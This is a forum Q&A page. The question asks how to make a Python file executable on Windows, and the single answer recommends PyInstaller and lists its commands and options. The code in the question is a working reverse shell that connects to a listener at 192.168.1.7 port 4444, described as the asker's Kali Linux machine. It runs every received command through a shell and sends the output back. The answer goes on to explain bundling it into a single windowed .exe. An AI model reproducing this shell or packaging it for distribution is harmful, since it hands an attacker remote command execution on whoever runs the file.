how to make a python file executable on windows?

229 views Asked by At

#!/usr/bin/python

import subprocess import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.1.7", 4444)) # first parameter is IP address of your kali linux machine

while True: command = sock.recv(2048) if command == "q": break else: proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) result = proc.stdout.read() + proc.stderr.read() sock.send(result)

sock.close()

1

There are 1 answers

0
AutMai On

I would recommend the tool PyInstaller. You can find the docs here. ;)

I would suggest to first read the Using Pyinstaller section in the documentation of the module itself.

You can also use some tutorials (e.g. Matt Borgerson's one).

In order to recap you should:

write your script and make sure that it works

run from the command line:

~\ pyinstaller your_file_name.py

this command will generate a your_file_name.spec file where you can include all the dll required by your application and any custom settings (Using Spec Files)

once you have decided what to include in your .exe application you can run from the command line

~\ pyinstaller [option1] [option2] your_file_name.py

You can find the full list the options in the documentation.

--onefile: Create a one-file bundled executable.

--windowed: Parameter to chooseif you are compiling in Mac OS X or Windows --icon= : Choose the file to use as icon for file.